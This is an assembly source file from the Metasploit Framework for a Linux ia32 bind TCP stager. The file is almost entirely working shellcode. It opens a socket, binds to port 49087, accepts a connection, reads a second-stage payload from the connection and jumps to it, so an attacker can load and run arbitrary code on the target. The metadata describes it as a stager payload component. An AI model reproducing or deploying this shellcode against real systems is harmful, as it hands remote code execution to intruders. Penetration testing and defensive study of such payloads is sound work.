Linux_ia32 portbind TCP stager

;;
;
; Name: stager_sock_bind
; Qualities: Can Have Nulls
; Version: $Revision: 1.10 $
; License:
;
; This file is part of the Metasploit Exploit Framework
; and is subject to the same licenses and copyrights as
; the rest of this package.
;
; Description:
;
; Implementation of a Linux portbind TCP stager.
;
; File descriptor in edi.
;
; Meta-Information:
;
; meta-shortname=Linux Bind TCP Stager
; meta-description=Listen on a port for a connection and run a second stage
; meta-authors=skape
; meta-os=linux
; meta-arch=ia32
; meta-category=stager
; meta-connection-type=bind
; meta-name=bind_tcp
; meta-path=lib/Msf/PayloadComponent/Linux/ia32/BindStager.pm
; meta-offset-lport=0x14
;;
BITS 32
GLOBAL _start

_start:
xor ebx, ebx

socket:
push ebx
inc ebx
push ebx
push byte 0x2
push byte 0x66
pop eax
cdq
mov ecx, esp
int 0x80
xchg eax, esi

bind:
inc ebx
push edx
push word 0xbfbf ; port: 49087
push bx
mov ecx, esp
push byte 0x66
pop eax
push eax
push ecx
push esi
mov ecx, esp
int 0x80

listen:
mov al, 0x66
shl ebx, 1
int 0x80

accept:
push edx
push edx
push esi
inc ebx
mov ecx, esp
mov al, 0x66
int 0x80
xchg eax, ebx

%ifndef USE_SINGLE_STAGE

read:
mov dh, 0xc
mov al, 0x3
int 0x80
mov edi, ebx ; not necessary if second stages use ebx instead of edi
; for fd
jmp ecx

%else
%ifdef FD_REG_EDI
mov edi, ebx
%endif
%endif